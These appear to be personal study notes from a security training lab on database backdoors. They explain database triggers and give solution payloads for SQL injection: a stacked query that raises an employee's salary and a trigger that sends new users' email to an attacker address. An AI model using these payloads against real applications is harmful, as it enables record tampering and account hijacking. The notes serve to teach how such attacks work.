Database Backdoors

Sunday, November 5, 2017 12:48 AM

- Databases are usually used as a backend for web applications
- They are also used as a media of storage
    - It can be used as a place to store malicious activity such as a trigger
- A trigger is called by the database management system upon the execution of another database operation like insert, select, update, or delete
    - An attacker for example can create a trigger that would set his email address instead of every new user's email address

Stage 1: Use SQL Injection to execute more than one SQL statement (make your salary higher)

select userid, password, ssn, salary, email from employee where userid=<user Input>

Solution

- Inject into the input field…

101; UPDATE employee SET Salary=80000

Stage 2: Use SQL Injection to create a backdoor (create a trigger)

Solution

- Inject into the input field…

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid